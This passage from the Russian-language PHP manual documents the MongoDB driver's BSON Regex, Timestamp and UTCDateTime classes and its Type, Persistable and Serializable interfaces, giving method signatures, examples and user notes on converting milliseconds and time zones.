Возвращаемые значения

Возвращает сериализованное представление MongoDB\BSON\Regex.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\BSON\Regex::unserialize() - Десериализует Regex
  • serialize() - Генерирует пригодное для хранения представление переменной
  • Сериализация объектов

User Contributed Notes

There are no user contributed notes for this page.


Возвращает строковое представление Regex

  • « MongoDB\BSON\Regex::serialize
  • MongoDB\BSON\Regex::unserialize »
  • PHP Manual
  • MongoDB\BSON\Regex
  • Возвращает строковое представление Regex

MongoDB\BSON\Regex::__toString

(mongodb >=1.0.0)

MongoDB\BSON\Regex::__toString — Возвращает строковое представление Regex

Описание

final public MongoDB\BSON\Regex::__toString(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строковое представление Regex.

Примеры

Пример #1 Пример использования MongoDB\BSON\Regex::__toString()

<?php

$regex = new MongoDB\BSON\Regex('regex', 'i');
var_dump((string) $regex);

?>

Результат выполнения данного примера:

string(8) "/regex/i"

Смотрите также

  • » Типы BSON

User Contributed Notes

There are no user contributed notes for this page.


Десериализует Regex

  • « MongoDB\BSON\Regex::__toString
  • MongoDB\BSON\Timestamp »
  • PHP Manual
  • MongoDB\BSON\Regex
  • Десериализует Regex

MongoDB\BSON\Regex::unserialize

(mongodb >=1.2.0)

MongoDB\BSON\Regex::unserialize — Десериализует Regex

Описание

final public MongoDB\BSON\Regex::unserialize(string $data): void

Список параметров

data

Сериализованный MongoDB\BSON\Regex.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • Выдаёт MongoDB\Driver\Exception\UnexpectedValueException, если свойства не могут быть не сериализованы (например, serialized был неправильно сформирован).
  • Выдаёт MongoDB\Driver\Exception\InvalidArgumentException, если свойства недопустимы (например, отсутствуют поля или недопустимые значения).

Смотрите также

  • MongoDB\BSON\Regex::serialize() - Сериализует Regex
  • unserialize() - Создаёт PHP-значение из хранимого представления
  • Сериализация объектов

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\BSON\Timestamp

(mongodb >=1.0.0)

Введение

Представляет » метку времени BSON. Значение состоит из 4-байтовой метки времени (т.е. секунды с начала эпохи) и 4-байтового приращения.

Замечание: Это внутренний тип MongoDB, используемый для репликации и разделения. Он не предназначен для общего хранения дат (вместо него следует использовать MongoDB\BSON\UTCDateTime).

Обзор классов

final class MongoDB\BSON\Timestamp implements MongoDB\BSON\TimestampInterface, MongoDB\BSON\Type, Serializable, JsonSerializable, Stringable {
/* Методы */
final public __construct(int $increment, int $timestamp)
final public getIncrement(): int
final public getTimestamp(): int
final public jsonSerialize(): mixed
final public serialize(): string
final public __toString(): string
final public unserialize(string $data): void
}

Список изменений

Версия | Описание
PECL mongodb 1.12.0 | Реализует интерфейс Stringable для PHP 8.0+.
PECL mongodb 1.3.0 | Реализует интерфейс MongoDB\BSON\TimestampInterface.
PECL mongodb 1.2.0 | Реализует интерфейсы Serializable и JsonSerializable.

Содержание

  • MongoDB\BSON\Timestamp::__construct — Создаёт новый Timestamp
  • MongoDB\BSON\Timestamp::getIncrement — Возвращает компонент приращения Timestamp
  • MongoDB\BSON\Timestamp::getTimestamp — Возвращает компонент отметки времени Timestamp
  • MongoDB\BSON\Timestamp::jsonSerialize — Возвращает представление, которое можно преобразовать в JSON
  • MongoDB\BSON\Timestamp::serialize — Сериализует Timestamp
  • MongoDB\BSON\Timestamp::__toString — Возвращает строковое представление Timestamp
  • MongoDB\BSON\Timestamp::unserialize — Десериализует Timestamp

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый Timestamp

  • « MongoDB\BSON\Timestamp
  • MongoDB\BSON\Timestamp::getIncrement »
  • PHP Manual
  • MongoDB\BSON\Timestamp
  • Создаёт новый Timestamp

MongoDB\BSON\Timestamp::__construct

(mongodb >=1.0.0)

MongoDB\BSON\Timestamp::__construct — Создаёт новый Timestamp

Описание

final public MongoDB\BSON\Timestamp::__construct(int $increment, int $timestamp)

Список параметров

increment (int)

32-разрядное целое число, обозначающее увеличивающийся порядковый номер для операций в течение данной секунды.

timestamp (int)

32-разрядное целое число, обозначающее секунды с начала эпохи Unix.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 Пример использования MongoDB\BSON\Timestamp::__construct()

<?php

$timestamp = new MongoDB\BSON\Timestamp(1234, 5678);

?>

Результат выполнения данного примера:

object(MongoDB\BSON\Timestamp)#1 (2) {
  ["increment"]=>
  int(1234)
  ["timestamp"]=>
  int(5678)
}

Смотрите также

  • » Типы BSON: Timestamps

User Contributed Notes

There are no user contributed notes for this page.


Возвращает компонент приращения Timestamp

  • « MongoDB\BSON\Timestamp::__construct
  • MongoDB\BSON\Timestamp::getTimestamp »
  • PHP Manual
  • MongoDB\BSON\Timestamp
  • Возвращает компонент приращения Timestamp

MongoDB\BSON\Timestamp::getIncrement

(mongodb >=1.3.0)

MongoDB\BSON\Timestamp::getIncrement — Возвращает компонент приращения Timestamp

Описание

final public MongoDB\BSON\Timestamp::getIncrement(): int

Компонент приращения Timestamp - это его младшие 32 бита, которые обозначают порядковый номер приращения для операций в течение данной секунды. Это значение читается как 32-разрядное целое число без знака с порядком байтов в старшем порядке.

Замечание: Так как целочисленный тип в PHP является знаковым, некоторые значения, полученные с помощью этого метода, могут превратиться в отрицательные целые числа на 32-битных платформах. Для получения строкового представления беззнакового целого можно воспользоваться шаблоном форматирования "%u" функции sprintf().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает компонент приращения Timestamp.

Внимание

В 32-битных системах этот метод может возвращать отрицательное число. Хотя части приращения и отметки времени типа отметки времени BSON состоят из двух 32-разрядных значений без знака, PHP не может представить их на 32-разрядных платформах.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • » Типы BSON: Timestamps

User Contributed Notes

There are no user contributed notes for this page.


Возвращает компонент отметки времени Timestamp

  • « MongoDB\BSON\Timestamp::getIncrement
  • MongoDB\BSON\Timestamp::jsonSerialize »
  • PHP Manual
  • MongoDB\BSON\Timestamp
  • Возвращает компонент отметки времени Timestamp

MongoDB\BSON\Timestamp::getTimestamp

(mongodb >=1.3.0)

MongoDB\BSON\Timestamp::getTimestamp — Возвращает компонент отметки времени Timestamp

Описание

final public MongoDB\BSON\Timestamp::getTimestamp(): int

Компонент отметки времени Timestamp - это его наиболее значимые 32 бита, которые обозначают количество секунд с начала эпохи Unix. Это значение читается, как 32-разрядное целое число без знака с порядком байтов в старшем порядке.

Замечание: Так как целочисленный тип в PHP является знаковым, некоторые значения, полученные с помощью этого метода, могут превратиться в отрицательные целые числа на 32-битных платформах. Для получения строкового представления беззнакового целого можно воспользоваться шаблоном форматирования "%u" функции sprintf().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает компонент отметки времени Timestamp.

Внимание

В 32-битных системах этот метод может возвращать отрицательное число. Хотя части приращения и отметки времени типа отметки времени BSON состоят из двух 32-разрядных значений без знака, PHP не может представить их на 32-разрядных платформах.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • » Типы BSON: Timestamps

User Contributed Notes

There are no user contributed notes for this page.


Возвращает представление, которое можно преобразовать в JSON

  • « MongoDB\BSON\Timestamp::getTimestamp
  • MongoDB\BSON\Timestamp::serialize »
  • PHP Manual
  • MongoDB\BSON\Timestamp
  • Возвращает представление, которое можно преобразовать в JSON

MongoDB\BSON\Timestamp::jsonSerialize

(mongodb >=1.2.0)

MongoDB\BSON\Timestamp::jsonSerialize — Возвращает представление, которое можно преобразовать в JSON

Описание

final public MongoDB\BSON\Timestamp::jsonSerialize(): mixed

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает данные, которые могут быть сериализованы с помощью json_encode() для создания расширенного JSON-представления MongoDB\BSON\Timestamp.

Замечание: Вывод соответствует выводу функции MongoDB\BSON\toJSON(), которая использует унаследованный, специфичный для драйвера, расширенный формат JSON. Он не обязательно будет подходить под » relaxed или » canonical представления расширенного JSON, используемых в MongoDB\BSON\toRelaxedExtendedJSON() и MongoDB\BSON\toCanonicalExtendedJSON(), соответственно.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • JsonSerializable::jsonSerialize() - Задаёт данные, которые должны быть сериализованы в JSON
  • json_encode() - Возвращает JSON-представление данных
  • MongoDB\BSON\toCanonicalExtendedJSON() - Возвращает Canonical Extended JSON представление для значения BSON
  • MongoDB\BSON\toRelaxedExtendedJSON() - Возвращает Relaxed Extended JSON представление значения BSON
  • » MongoDB Extended JSON

User Contributed Notes

There are no user contributed notes for this page.


Сериализует Timestamp

  • « MongoDB\BSON\Timestamp::jsonSerialize
  • MongoDB\BSON\Timestamp::__toString »
  • PHP Manual
  • MongoDB\BSON\Timestamp
  • Сериализует Timestamp

MongoDB\BSON\Timestamp::serialize

(mongodb >=1.2.0)

MongoDB\BSON\Timestamp::serialize — Сериализует Timestamp

Описание

final public MongoDB\BSON\Timestamp::serialize(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает сериализованное представление MongoDB\BSON\Timestamp.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\BSON\Timestamp::unserialize() - Десериализует Timestamp
  • serialize() - Генерирует пригодное для хранения представление переменной
  • Сериализация объектов

User Contributed Notes

There are no user contributed notes for this page.


Возвращает строковое представление Timestamp

  • « MongoDB\BSON\Timestamp::serialize
  • MongoDB\BSON\Timestamp::unserialize »
  • PHP Manual
  • MongoDB\BSON\Timestamp
  • Возвращает строковое представление Timestamp

MongoDB\BSON\Timestamp::__toString

(mongodb >=1.0.0)

MongoDB\BSON\Timestamp::__toString — Возвращает строковое представление Timestamp

Описание

final public MongoDB\BSON\Timestamp::__toString(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строковое представление Timestamp.

Примеры

Пример #1 Пример использования MongoDB\BSON\Timestamp::__toString()

<?php

$timestamp = new MongoDB\BSON\Timestamp(1234, 5678);
var_dump((string) $timestamp);

?>

Результатом выполнения данного примера будет что-то подобное:

string(11) "[1234:5678]"

Смотрите также

  • » Типы BSON: Timestamps

User Contributed Notes

There are no user contributed notes for this page.


Десериализует Timestamp

  • « MongoDB\BSON\Timestamp::__toString
  • MongoDB\BSON\UTCDateTime »
  • PHP Manual
  • MongoDB\BSON\Timestamp
  • Десериализует Timestamp

MongoDB\BSON\Timestamp::unserialize

(mongodb >=1.2.0)

MongoDB\BSON\Timestamp::unserialize — Десериализует Timestamp

Описание

final public MongoDB\BSON\Timestamp::unserialize(string $data): void

Список параметров

data

Сериализованный MongoDB\BSON\Timestamp.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • Выдаёт MongoDB\Driver\Exception\UnexpectedValueException, если свойства не могут быть не сериализованы (например, serialized был неправильно сформирован).
  • Выдаёт MongoDB\Driver\Exception\InvalidArgumentException, если свойства недопустимы (например, отсутствуют поля или недопустимые значения).

Смотрите также

  • MongoDB\BSON\Timestamp::serialize() - Сериализует Timestamp
  • unserialize() - Создаёт PHP-значение из хранимого представления
  • Сериализация объектов

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\BSON\UTCDateTime

(mongodb >=1.0.0)

Введение

Представляет » дату BSON. Значение представляет собой 64-разрядное целое число, представляющее количество миллисекунд с начала эпохи Unix (1 января 1970 г.). Отрицательные значения представляют даты до 1970 года.

Обзор классов

final class MongoDB\BSON\UTCDateTime implements MongoDB\BSON\UTCDateTimeInterface, MongoDB\BSON\Type, Serializable, JsonSerializable, Stringable {
/* Методы */
final public __construct(int|float|string|DateTimeInterface|null $milliseconds = null)
final public jsonSerialize(): mixed
final public serialize(): string
final public toDateTime(): DateTime
final public __toString(): string
final public unserialize(string $data): void
}

Список изменений

Версия | Описание
PECL mongodb 1.12.0 | Реализует интерфейс Stringable для PHP 8.0+.
PECL mongodb 1.3.0 | Реализует интерфейс MongoDB\BSON\UTCDateTimeInterface.
PECL mongodb 1.2.0 | Реализует интерфейсы Serializable и JsonSerializable.

Содержание

  • MongoDB\BSON\UTCDateTime::__construct — Создаёт новый UTCDateTime
  • MongoDB\BSON\UTCDateTime::jsonSerialize — Возвращает представление, которое можно преобразовать в JSON
  • MongoDB\BSON\UTCDateTime::serialize — Сериализует UTCDateTime
  • MongoDB\BSON\UTCDateTime::toDateTime — Возвращает представление DateTime этого UTCDateTime
  • MongoDB\BSON\UTCDateTime::__toString — Возвращает строковое представление UTCDateTime
  • MongoDB\BSON\UTCDateTime::unserialize — Десериализует UTCDateTime

User Contributed Notes

Stephen 30-Jul-2018 08:49
When using MongoDB\BSON\UTCDateTime to query be sure for instances of strtotime you are putting the constructor in milliseconds:

$start = new MongoDB\BSON\UTCDateTime(strtotime("midnight") * 1000);
$filter = ['date' => ['$gte' => $start]];
$options = ['sort' => ['date' => -1]];
$query = new MongoDB\Driver\Query($filter,$options);
mike at brenden dot com 12-Dec-2017 07:10
SOURCE [url]https://github.com/mongodb/mongo-php-driver/issues/187[/url]

MichaelBrenden --

How do the two Mongo drivers determine if they can translate something into the ISODate format?

Does mongo.so require a class type of MongoDate, or does it determine by data returned by __toString() (i.e., "0.12345678 1234567890")?

Does mongodb.so require a class type of \MongoDB\BSON\UTCDateTime, or does it determine by data returned by __toString() (i.e., "1234567890123")?

jmikola --

>> the ISODate format?

For the record, ISODate is just a helper function in the mongo shell. The actual BSON type is 0x09 in the BSON spec and is best referred to as "UTC date time".
[url]https://docs.mongodb.com/manual/core/shell-types/#return-date[/url]
[url]http://bsonspec.org/spec.html[/url]

 >> Does mongodb.so require a class type of \MongoDB\BSON\UTCDateTime, or does it determine by data returned by __toString() (i.e., "1234567890123")?

The driver requires a MongoDB\BSON\UTCDateTime object in order to encode a BSON date type. The relevant instanceof check during BSON encoding is here if you care to see it. The __toString() function exists purely as a convenience for userland applications. The driver does not use it outside of tests.
[url]https://github.com/mongodb/mongo-php-driver/blob/1.3.4/src/bson-encode.c#L215[/url]

The legacy mongo.so driver is similar in that it requires a MongoDate object in order to encode a BSON date type (relevant code is here).
[url]https://github.com/mongodb/mongo-php-driver-legacy/blob/1.6.16/bson.c#L273[/url]
mark at DONTSPAM dot moderndeveloperllc dot com 27-Oct-2016 02:09
Be careful using UTCDateTime if you need microsecond precision as this class only stores time to the _millisecond_. You need to store the date as a string in MongoDB if you want the full precision. Casting DateTime to a float can also remove precision.

An easy way to see the differences is with:

Code:
var_dump(
  (new DateTime)->format('U.u'),
  (float) (new DateTime)->format('U.u'),
  (new MongoDB\BSON\UTCDateTime())->toDateTime()->format('U.u')
);

Output:
string(17) "1477534060.918415"
double(1477534060.9185)
string(17) "1477534060.918000"

NOTE: Lots of bugs concerning microsecond formatting for DateTimeInterface classes were fixed as of PHP 7.1.0 RC4. The above code is from PHP 7.1.0 RC5 and mongodb 1.2.0alpha3. The 1.2.0 version of the extension added the ability to instantiate this class without passing integer milliseconds.


Создаёт новый UTCDateTime

  • « MongoDB\BSON\UTCDateTime
  • MongoDB\BSON\UTCDateTime::jsonSerialize »
  • PHP Manual
  • MongoDB\BSON\UTCDateTime
  • Создаёт новый UTCDateTime

MongoDB\BSON\UTCDateTime::__construct

(mongodb >=1.0.0)

MongoDB\BSON\UTCDateTime::__construct — Создаёт новый UTCDateTime

Описание

final public MongoDB\BSON\UTCDateTime::__construct(int|float|string|DateTimeInterface|null $milliseconds = null)

Список параметров

milliseconds (int|float|string|DateTimeInterface|null)

Количество миллисекунд со времён Unix (1 января 1970 г.). Отрицательные значения представляют даты до 1970 года. Это значение может быть представлено как 64-разрядный int. Для совместимости в 32-битных системах этот параметр также может быть представлен, как float или string.

Если аргумент является DateTimeInterface, из этого значения будет получено количество миллисекунд, прошедших с начала эпохи Unix.

Если этот аргумент равен null, будет использоваться текущее время по умолчанию.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Список изменений

Версия | Описание
PECL mongodb 1.2.0 | Аргумент milliseconds является необязательным и по умолчанию равен null (т.е. текущее время). Аргумент также принимает DateTimeInterface, который может использоваться для получения количества миллисекунд с начала эпохи Unix. Ранее принимался только тип int, float или string.

Примеры

Пример #1 Пример использования MongoDB\BSON\UTCDateTime::__construct()

<?php

var_dump(new MongoDB\BSON\UTCDateTime);

var_dump(new MongoDB\BSON\UTCDateTime(new DateTime));

var_dump(new MongoDB\BSON\UTCDateTime(1416445411987));

?>

Результатом выполнения данного примера будет что-то подобное:

object(MongoDB\BSON\UTCDateTime)#1 (1) {
  ["milliseconds"]=>
  string(13) "1484852905560"
}
object(MongoDB\BSON\UTCDateTime)#1 (1) {
  ["milliseconds"]=>
  string(13) "1484852905560"
}
object(MongoDB\BSON\UTCDateTime)#1 (1) {
  ["milliseconds"]=>
  string(13) "1416445411987"
}

Смотрите также

  • » Типы BSON: Date

User Contributed Notes

0xff00ff at gmail dot com 06-Jun-2016 05:00
$utcdatetime = new MongoDB\BSON\UTCDateTime($unixtimestamp * 1000);
jesperbendtsen83 at gmail dot com 21-Jan-2016 10:30
The problem with integer => string is only on 32 bit systems
jesperbendtsen83 at gmail dot com 14-Jan-2016 10:58
For me to get it work with php 5.6 on an iis 7.5, it had to be a string

$utcdatetime = new MongoDB\BSON\UTCDateTime('1416445411987');


Возвращает представление, которое можно преобразовать в JSON

  • « MongoDB\BSON\UTCDateTime::__construct
  • MongoDB\BSON\UTCDateTime::serialize »
  • PHP Manual
  • MongoDB\BSON\UTCDateTime
  • Возвращает представление, которое можно преобразовать в JSON

MongoDB\BSON\UTCDateTime::jsonSerialize

(mongodb >=1.2.0)

MongoDB\BSON\UTCDateTime::jsonSerialize — Возвращает представление, которое можно преобразовать в JSON

Описание

final public MongoDB\BSON\UTCDateTime::jsonSerialize(): mixed

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает данные, которые могут быть сериализованы с помощью json_encode() для создания расширенного JSON-представления MongoDB\BSON\UTCDateTime.

Замечание: Вывод соответствует выводу функции MongoDB\BSON\toJSON(), которая использует унаследованный, специфичный для драйвера, расширенный формат JSON. Он не обязательно будет подходить под » relaxed или » canonical представления расширенного JSON, используемых в MongoDB\BSON\toRelaxedExtendedJSON() и MongoDB\BSON\toCanonicalExtendedJSON(), соответственно.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • JsonSerializable::jsonSerialize() - Задаёт данные, которые должны быть сериализованы в JSON
  • json_encode() - Возвращает JSON-представление данных
  • MongoDB\BSON\toCanonicalExtendedJSON() - Возвращает Canonical Extended JSON представление для значения BSON
  • MongoDB\BSON\toRelaxedExtendedJSON() - Возвращает Relaxed Extended JSON представление значения BSON
  • » MongoDB Extended JSON

User Contributed Notes

There are no user contributed notes for this page.


Сериализует UTCDateTime

  • « MongoDB\BSON\UTCDateTime::jsonSerialize
  • MongoDB\BSON\UTCDateTime::toDateTime »
  • PHP Manual
  • MongoDB\BSON\UTCDateTime
  • Сериализует UTCDateTime

MongoDB\BSON\UTCDateTime::serialize

(mongodb >=1.2.0)

MongoDB\BSON\UTCDateTime::serialize — Сериализует UTCDateTime

Описание

final public MongoDB\BSON\UTCDateTime::serialize(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает сериализованное представление MongoDB\BSON\UTCDateTime.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\BSON\UTCDateTime::unserialize() - Десериализует UTCDateTime
  • serialize() - Генерирует пригодное для хранения представление переменной
  • Сериализация объектов

User Contributed Notes

There are no user contributed notes for this page.


Возвращает представление DateTime этого UTCDateTime

  • « MongoDB\BSON\UTCDateTime::serialize
  • MongoDB\BSON\UTCDateTime::__toString »
  • PHP Manual
  • MongoDB\BSON\UTCDateTime
  • Возвращает представление DateTime этого UTCDateTime

MongoDB\BSON\UTCDateTime::toDateTime

(mongodb >=1.0.0)

MongoDB\BSON\UTCDateTime::toDateTime — Возвращает представление DateTime этого UTCDateTime

Описание

final public MongoDB\BSON\UTCDateTime::toDateTime(): DateTime

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает представление DateTime этого UTCDateTime. Возвращённый DateTime будет использовать часовой пояс UTC.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 Пример использования MongoDB\BSON\UTCDatetime::toDateTime()

<?php

$utcdatetime = new MongoDB\BSON\UTCDateTime(1416445411987);
$datetime = $utcdatetime->toDateTime();
var_dump($datetime->format('r'));
var_dump($datetime->format('U.u'));
var_dump($datetime->getTimezone());

?>

Результатом выполнения данного примера будет что-то подобное:

string(31) "Thu, 20 Nov 2014 01:03:31 +0000"
string(17) "1416445411.987000"
object(DateTimeZone)#3 (2) {
  ["timezone_type"]=>
  int(1)
  ["timezone"]=>
  string(6) "+00:00"
}

Смотрите также

  • » Типы BSON: Date

User Contributed Notes

zeeshanyshaikh at gmail dot com 09-Aug-2016 02:58
$tz = new DateTimeZone('Asia/Kolkata'); //Change your timezone
$date = date("Y-m-d h:i:sa"); //Current Date
$a = new MongoDB\BSON\UTCDateTime(strtotime($date)*1000);

      $datetime = $a->toDateTime();
      echo '<pre>';print_r($datetime);echo '</pre>';

      $datetime->setTimezone($tz); //Set timezone
      $time=$datetime->format(DATE_ATOM);  //(example: 2005-08-15T15:52:01+00:00)

    echo "<br>". $time . "<br>";

OUTPUT :
 //Output of datetime object
 DateTime Object
 (
    [date] => 2016-08-09 14:57:06.000000
    [timezone_type] => 1
    [timezone] => +00:00
 )
//Output of time
 2016-08-09T20:27:06+05:30
emm dot deoudes at gmail dot com 27-Jun-2016 10:09
//convert retrieved time back to local time
<?php
/********************constructor**********************************/
$orig_date = new DateTime('2016-06-27 13:03:33');
$orig_date=$orig_date->getTimestamp();
$utcdatetime = new MongoDB\BSON\UTCDateTime($orig_date*1000);
/********************retrieve time in UTC**********************************/
$datetime = $utcdatetime->toDateTime();
$time=$datetime->format(DATE_RSS);
/********************Convert time local timezone*******************/
$dateInUTC=$time;
$time = strtotime($dateInUTC.' UTC');
$dateInLocal = date("Y-m-d H:i:s", $time);
echo $dateInLocal;
?>
output: 2016-06-27 13:03:33
pablo5_diaz at hotmail dot com 10-May-2016 05:49
The php Datetime object returns the timestamp with 10 digits and this method needs miliseconds in the timestamp.

Make sure that the timestamp has 13 digits.


Возвращает строковое представление UTCDateTime

  • « MongoDB\BSON\UTCDateTime::toDateTime
  • MongoDB\BSON\UTCDateTime::unserialize »
  • PHP Manual
  • MongoDB\BSON\UTCDateTime
  • Возвращает строковое представление UTCDateTime

MongoDB\BSON\UTCDateTime::__toString

(mongodb >=1.0.0)

MongoDB\BSON\UTCDateTime::__toString — Возвращает строковое представление UTCDateTime

Описание

final public MongoDB\BSON\UTCDateTime::__toString(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строковое представление UTCDateTime.

Примеры

Пример #1 Пример использования MongoDB\BSON\UTCDateTime::__toString()

<?php

$utcdatetime = new MongoDB\BSON\UTCDateTime(1416445411987);
var_dump((string) $utcdatetime);

?>

Результат выполнения данного примера:

string(13) "1416445411987"

Смотрите также

  • » Типы BSON: Date

User Contributed Notes

There are no user contributed notes for this page.


Десериализует UTCDateTime

  • « MongoDB\BSON\UTCDateTime::__toString
  • MongoDB\BSON\Type »
  • PHP Manual
  • MongoDB\BSON\UTCDateTime
  • Десериализует UTCDateTime

MongoDB\BSON\UTCDateTime::unserialize

(mongodb >=1.2.0)

MongoDB\BSON\UTCDateTime::unserialize — Десериализует UTCDateTime

Описание

final public MongoDB\BSON\UTCDateTime::unserialize(string $data): void

Список параметров

data

Сериализованный MongoDB\BSON\UTCDateTime.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • Выдаёт MongoDB\Driver\Exception\UnexpectedValueException, если свойства не могут быть не сериализованы (например, serialized был неправильно сформирован).
  • Выдаёт MongoDB\Driver\Exception\InvalidArgumentException, если свойства недопустимы (например, отсутствуют поля или недопустимые значения).

Смотрите также

  • MongoDB\BSON\UTCDateTime::serialize() - Сериализует UTCDateTime
  • unserialize() - Создаёт PHP-значение из хранимого представления
  • Сериализация объектов

User Contributed Notes

There are no user contributed notes for this page.


Интерфейс MongoDB\BSON\Type

(mongodb >=1.0.0)

Введение

Абстрактный базовый интерфейс, который не должен быть реализован напрямую.

Обзор интерфейсов

class MongoDB\BSON\Type {
}

Этот интерфейс не имеет методов. Его единственное назначение - быть базовым интерфейсом для всех классов типов BSON.

User Contributed Notes

There are no user contributed notes for this page.


Интерфейс MongoDB\BSON\Persistable

(mongodb >=1.0.0)

Введение

Классы могут реализовывать этот интерфейс для использования преимуществ автоматического ODM (сопоставление документов объекта) поведения в драйвере. Во время сериализации драйвер вставляет свойство __pclass, содержащее имя класса PHP, в данные, возвращаемые MongoDB\BSON\Serializable::bsonSerialize(). Во время десериализации то же свойство __pclass будет использоваться для вывода класса PHP (независимого от любой конфигурации типа карты), которая должна быть создана до вызова MongoDB\BSON\Unserializable::bsonUnserialize(). Смотрите Постоянные данные для получения дополнительной информации.

Замечание: Даже если MongoDB\BSON\Serializable::bsonSerialize() вернёт последовательный массив, внедрение свойства __pclass приведёт к сериализации объекта, как документа BSON.

Обзор интерфейсов

class MongoDB\BSON\Persistable implements MongoDB\BSON\Unserializable, MongoDB\BSON\Serializable {
/* Методы */
abstract public bsonSerialize(): array|stdClass|MongoDB\BSON\Document
/* Наследуемые методы */
abstract public MongoDB\BSON\Serializable::bsonSerialize(): array|object
abstract public MongoDB\BSON\Unserializable::bsonUnserialize(array $data): void
}

Содержание

  • MongoDB\BSON\Persistable::bsonSerialize — Предоставляет массив или документ для сериализации в формате BSON

User Contributed Notes

There are no user contributed notes for this page.


Предоставляет массив или документ для сериализации в формате BSON

  • « MongoDB\BSON\Persistable
  • MongoDB\BSON\Serializable »
  • PHP Manual
  • MongoDB\BSON\Persistable
  • Предоставляет массив или документ для сериализации в формате BSON

MongoDB\BSON\Persistable::bsonSerialize

(mongodb >=1.0.0)

MongoDB\BSON\Persistable::bsonSerialize — Предоставляет массив или документ для сериализации в формате BSON

Описание

abstract public MongoDB\BSON\Persistable::bsonSerialize(): array|stdClass|MongoDB\BSON\Document

Вызывается при сериализации объекта в BSON. Метод должен возвращать массив (array), stdClass или MongoDB\BSON\Document.

Возвращаемое значение всегда будет сериализовано в виде BSON-документа. Сериализованный документ будет включать поле, содержащее имя класса объекта. По этой причине в данном методе невозможно вернуть экземпляр класса MongoDB\BSON\PackedArray.

Пользователям рекомендуется включать свойство _id (например, MongoDB\BSON\ObjectId, инициализированное в вашем конструкторе) при возвращении данных для корневого документа BSON; иначе драйверу или базе данных придётся генерировать MongoDB\BSON\ObjectId при добавлении или обновлении документа, соответственно.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив (array), stdClass или MongoDB\BSON\Document, который должен быть сериализован в виде BSON-документа.

Список изменений

Версия | Описание
PECL mongodb 1.17.0 | Теперь метод может также возвращать экземпляры MongoDB\BSON\Document в дополнение к массиву (array) и stdClass.

Смотрите также

  • MongoDB\BSON\Serializable::bsonSerialize() - Предоставляет массив или документ для сериализации в BSON
  • MongoDB\BSON\Unserializable::bsonUnserialize() - Создаёт объект из массива BSON или документа
  • MongoDB\BSON\Persistable
  • Постоянные данные

User Contributed Notes

There are no user contributed notes for this page.


Интерфейс MongoDB\BSON\Serializable

(mongodb >=1.0.0)

Введение

Классы, которые реализуют этот интерфейс, могут возвращать данные для сериализации в виде массива BSON или документа вместо открытых свойств объекта.

Обзор интерфейсов

class MongoDB\BSON\Serializable implements MongoDB\BSON\Type {
/* Методы */
abstract public bsonSerialize(): array|object
}

Список изменений

Версия | Описание
PECL mongodb 1.15.0 | Типы возвращаемых значений для методов объявлены как предварительные в PHP 8.0 и новее, что вызывает уведомления об устаревании в коде, который реализует этот интерфейс без объявления соответствующих типов возвращаемых значений. Атрибут #[ReturnTypeWillChange] может быть добавлен, чтобы заглушить уведомление об устаревании.

Содержание

  • MongoDB\BSON\Serializable::bsonSerialize — Предоставляет массив или документ для сериализации в BSON

User Contributed Notes

There are no user contributed notes for this page.


Предоставляет массив или документ для сериализации в BSON

  • « MongoDB\BSON\Serializable
  • MongoDB\BSON\Unserializable »
  • PHP Manual
  • MongoDB\BSON\Serializable
  • Предоставляет массив или документ для сериализации в BSON

MongoDB\BSON\Serializable::bsonSerialize

(mongodb >=1.0.0)

MongoDB\BSON\Serializable::bsonSerialize — Предоставляет массив или документ для сериализации в BSON

Описание

abstract public MongoDB\BSON\Serializable::bsonSerialize(): array|object

Вызывается во время сериализации объекта в BSON. Метод должен возвращать array или stdClass.

Корневые документы (например, MongoDB\BSON\Serializable, переданные в MongoDB\BSON\fromPHP()) всегда будут сериализованы, как документ BSON. Для значений полей ассоциативные массивы и экземпляры stdClass будут сериализованы в виде документа BSON, а последовательные массивы (например, последовательные числовые индексы, начинающиеся с 0) будут сериализованы в виде массива BSON.

